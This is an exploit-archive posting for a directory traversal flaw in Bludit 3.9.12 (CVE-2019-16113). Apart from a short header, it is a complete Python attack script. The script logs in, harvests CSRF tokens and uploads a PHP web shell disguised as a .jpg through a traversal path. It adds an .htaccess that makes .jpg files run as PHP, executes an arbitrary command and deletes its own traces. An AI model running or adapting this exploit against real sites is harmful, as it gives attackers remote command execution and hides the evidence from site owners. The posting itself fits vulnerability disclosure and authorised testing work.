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Bludit 3.9.12 Directory Traversal

Bludit 3.9.12 Directory Traversal
Posted Jun 9, 2020
Authored by Luis Vacacas

Bludit version 3.9.12 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2019-16113
MD5 | 58e30747011aa13fe7bddb3f9412d0d7

Bludit 3.9.12 Directory Traversal

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# Exploit Title: Bludit 3.9.12 - Directory Traversal
# Date: 2020-06-05
# Exploit Author: Luis Vacacas
# Vendor Homepage: https://www.bludit.com
# Software Link: https://github.com/bludit/bludit
# Version: >= 3.9.12
# Tested on: Ubuntu 19.10
# CVE : CVE-2019-16113

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout


class Color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'

banner = base64.b64decode("4pWU4pWXIOKUrCAg4pSsIOKUrOKUjOKUrOKUkOKUrOKUjOKUrOKUkCAg4pWU4pWQ4pWX4pWmIOKVpuKVlOKVl+KVlArilaDilanilZfilIIgIOKUgiDilIIg4pSC4pSC4pSCIOKUgiAgIOKVoOKVkOKVneKVkeKVkeKVkeKVkeKVkeKVkQrilZrilZDilZ3ilLTilIDilJjilJTilIDilJjilIDilLTilJjilLQg4pS0ICAg4pWpICDilZrilanilZ3ilZ3ilZrilZ0KCiBDVkUtMjAxOS0xNjExMyBDeWJlclZhY2EKCg==").decode()

print(Color.RED + Color.BOLD + "\n\n" + banner + Color.END)

def get_args():
parser = argparse.ArgumentParser(description='Bludit RCE Exploit v3.9.2 CVE-2019-16113 \nBy @CyberVaca')
parser.add_argument('-u', dest='url', type=str, required=True, help='Url Bludit')
parser.add_argument('-user', dest='user', type=str,required=True, help='Username')
parser.add_argument('-pass', dest='password', type=str, required=True, help='Password' )
parser.add_argument('-c', dest='command', type=str, required=True, help='Command to execute' )
return parser.parse_args()



def randomString(stringLength=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))


def informa(msg):
print (Color.GREEN + "[" + Color.RED + "+" + Color.GREEN + "] " + msg)

def login(url,username,password):
session = requests.Session()
login_page = session.get(url + "/admin/")
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
informa("csrf_token: " + Color.END + csrf_token)
la_cookie = ((login_page.headers['Set-Cookie']).split(";")[0].split("=")[1])
paramsPost = {"save":"","password":password,"tokenCSRF":csrf_token,"username":username}
headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer": url + "/admin/","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"BLUDIT-KEY":la_cookie}
response = session.post(url + "/admin/", data=paramsPost, headers=headers, cookies=cookies, allow_redirects = False)
informa("cookie: " + Color.END + la_cookie)
return(la_cookie)


def csrf_logado(url,la_cookie):
session = requests.Session()
headers = {"Origin":url,"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"}
cookies = {"BLUDIT-KEY":la_cookie}
response = session.get(url + "/admin/dashboard", headers=headers, cookies=cookies)
token_logado = response.text.split('var tokenCSRF = "')[1].split('"')[0]
informa("csrf_token: " + Color.END + token_logado)
return token_logado

def subida_shell(url,la_cookie,token_logado,command,webshell):
session = requests.Session()
paramsPost = {"uuid":"../../tmp","tokenCSRF":token_logado}
paramsMultipart = [('images[]', (webshell, "<?php shell_exec(\"rm .htaccess ; rm " + webshell + " ;" + command + "\");?>", 'application/octet-stream'))]
headers = {"Origin":url,"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/new-content","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"}
cookies = {"BLUDIT-KEY":la_cookie}
response = session.post(url + "/admin/ajax/upload-images", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)
informa("Uploading " + Color.END + webshell + Color.END)

def subida_htaccess(url,la_cookie,token_logado):
session = requests.Session()
paramsPost = {"uuid":"../../tmp","tokenCSRF":token_logado}
paramsMultipart = [('images[]', ('.htaccess', "RewriteEngine off\r\nAddType application/x-httpd-php .jpg", 'application/octet-stream'))]
headers = {"Origin":url,"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Referer":url + "/admin/new-content","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"}
cookies = {"BLUDIT-KEY":la_cookie}
response = session.post(url + "/admin/ajax/upload-images", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies)

def trigger_command(url,webshell,command):
session = requests.Session()
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0","Connection":"close","Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate"}
try:
response = session.get(url + "/bl-content/tmp/" + webshell, headers=headers, timeout=1)
except requests.exceptions.ReadTimeout:
pass
informa("Executing command: " + Color.END + command )
informa("Delete: " + Color.END + ".htaccess")
informa("Delete: " + Color.END + webshell)


if __name__ == '__main__':
args = get_args()
webshell = randomString(8) + ".jpg"
la_cookie = login(args.url,args.user,args.password)
token_logado = csrf_logado(args.url,la_cookie)
subida_shell(args.url,la_cookie,token_logado,args.command,webshell)
subida_htaccess(args.url,la_cookie,token_logado)
trigger_command(args.url,webshell,args.command)
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